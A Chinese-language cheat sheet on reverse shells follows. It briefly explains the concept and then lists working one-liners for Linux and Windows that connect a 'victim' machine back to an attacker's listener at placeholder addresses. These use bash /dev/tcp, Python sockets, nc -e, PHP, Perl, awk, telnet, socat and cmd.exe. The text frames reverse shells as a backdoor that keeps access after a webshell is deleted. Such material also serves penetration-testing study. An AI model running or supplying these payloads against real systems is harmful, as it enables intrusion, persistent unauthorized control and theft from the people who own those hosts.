反弹shell-v1
v1:基本常见姿势。
What?
概念
-
Shell
:俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(命令解析器)。它类似于DOS下的command.com
和后来的cmd.exe
,用于接收用户命令,然后调用相应的应用程序。简单说用户通过壳(shell)访问操作系统内核的服务,也就是由壳到内核,执行系统命令
。
-
getshell
:获取到目标的命令执行权限。 -
webshell
:指网站后门,通过web服务进行命令执行 -
反弹shell
:把命令行的输入输出转移到其它主机
功能
shell
用来接收我们用户的输入,并且解释我们的命令。然后将其传给系统内核,内核再调用硬件来操作。
反弹shell
-
反弹shell
(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。 -
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
-
举例:攻击一台机器时,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器,这叫做正向连接。但是有一些情况下正向连接无法使用。因此,为了方便提权或其它操作必须要反弹shell。反弹shell相当于新增一个后门,当
webshell
被发现删除后权限不会丢失。 -
因此通俗来说,攻击者指定服务端,
受害者主机主动连接攻击者的服务端程序
,就叫反弹连接。
How?
Linux反弹shell
bash反弹(最常用!!!)
-
原理:
bash -i
代表在本地打开一个bash
,然后就是/dev/tcp/ip/port
,/dev/tcp/
是Linux
中的一个特殊设备,打开这个文件就相当于发出了一个socket
调用,建立一个socket
连接,>&
后面跟上/dev/tcp/ip/port
这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash
的标准输出和标准错误输出。在/dev/tcp/ip/port
后面加上0>&1
,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port
这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入。 -
符号
>&
理解当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符 -
实现
# 攻击者 nc -lvp <port> # 受害者 bash -i >& /dev/tcp/<ip>/<port> 0>&1
python反弹
-
要求:受害者主机有
python
。 -
原理:首先使用
socket
与远程建立起连接,接下来使用到了os
库的dup2
方法将标准输入、标准输出、标准错误输出重定向到远程,dup2
这个方法有两个参数,分别为文件描述符fd1
和fd2
,当fd2
参数存在时,就关闭fd2
,然后将fd1代表的那个文件强行复制给fd2
,在这里可以把fd1和fd2看作是C语言里的指针
,将fd1
赋值给fd2
,就相当于将fd2
指向于s.fileno()
,fileno()
返回的是一个文件描述符,在这里也就是建立socket
连接返回的文件描述符。于是这样就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程(3),接下来使用os
的subprocess
在本地开启一个子进程,传入参数-i
使bash
以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令。# python反弹shell命令(清晰易读版) import os,socket,subprocess s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('<ip>',<port>)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(['/bin/bash','-i'])
-
实现
# 攻击者 nc -lvp <port> # 受害者 python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('<ip>',<port>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
nc反弹
-
要求:受害者主机安装了
nc
。 -
原理:
-e
后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell
,也就是反弹一个shell
给远程,可以执行命令。 -
实现
# 攻击者 nc -lvp <port> # 受害者 nc -e /bin/bash <ip> <port> nc -e /bin/sh <ip> <port>
php反弹
-
要求:受害者主机有
php
且php
配置关闭safe_mode
选项。 -
原理:使用
php
的exec
函数执行反弹shell
。 -
实现:
# 攻击者 nc -lvnp <port> # 受害者 php -r 'exec("/usr/bin/bash -i >& /dev/tcp/<ip>/<port> 0>&1");' php -r '$sock=fsockopen("<ip>",<port>);exec("/bin/bash -i <&3 >&3 2>&3");'
exec反弹
-
原理:
-
0<&196;
:这个部分尝试将文件描述符 196 分配给标准输入(stdin)。 -
exec
:开始一个新进程来替换当前 shell。 -
196<
:将文件描述符 196 分配给输入。 -
>/dev/tcp/<ip>/<port>
:将输出重定向到指定的 IP 地址和端口。 -
196
:指定用于连接的文件描述符。 -
sh
:启动一个新的 shell。 -
<&196
:将文件描述符 196 分配给 shell 的标准输入。 -
>&196
:将 shell 的标准输出重定向到文件描述符 196。 -
2>&196
:将 shell 的标准错误输出也重定向到文件描述符 196。
-
-
实现
# 攻击者 nc -lvnp <port> # 受害者 0<&196;exec 196<>/dev/tcp/<ip>/<port>; sh <&196 >&196 2>&196
perl反弹
- 实现
# 攻击者 nc -lvnp <port> # 受害者 perl -e 'use Socket;$i="<ip>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
awk反弹
- 实现:
# 攻击者 nc -lvnp <port> # 受害者 awk 'BEGIN{s="/inet/tcp/0/<ip>/<port>";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
telnet反弹
-
要求:需要在攻击主机上监听两个端口,执行反弹shell命令后,一个用于输入命令,一个查看命令执行后的结果。
-
实现:
# 攻击者 nc -lvnp <port1> #输入命令 nc -lvnp <port2> #输出命令 # 受害者 telnet <ip> <port1> | /bin/bash | telnet <ip> <port2>
socat反弹
-
解读:
-
exec
:告诉socat
在连接建立后执行指定的命令。 -
bash -li
:启动一个交互式的登录 shell。-l
代表登录 shell,它会读取并执行 /etc/profile 和 ~/.bash_profile 或 ~/.profile 文件。-i
代表交互式 shell,这通常在终端运行时使用。 -
pty
:为执行的命令分配一个伪终端(pseudo-terminal),这使得命令可以像在终端中一样运行,支持交互式输入和输出。 -
stderr
:将标准错误重定向到伪终端,这样错误信息也能被正确显示。 -
setsid:创建一个新的会话,并使执行的命令成为该会话的组长进程。这样做可以确保信号(如中断信号)正确地传递给子进程。
-
sigint
:允许发送INT
(中断)信号到子进程。这通常用于通过 Ctrl+C 终止进程。 -
sane:启用“sane”模式,这会对某些设置进行优化,以避免潜在的问题,比如终端的字符擦除行为。
-
tcp:
: :指定要连接的 TCP 服务器的 IP 地址和端口号。
-
-
实现
# 攻击者 nc -lvnp <port> # 受害者 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>
Windows反弹shell
nc反弹shell
-
要求:在主机上提前安装
nc
工具。 -
实现
# 攻击者 nc -lvnp <port> # 受害者 nc <ip> <port> -e c:\windows\system32\cmd.exe
MSF反弹shell
利用MSF
内置模块即可,先不做了。
参考文章
https://blog.csdn.net/weixin_44288604/article/details/111740527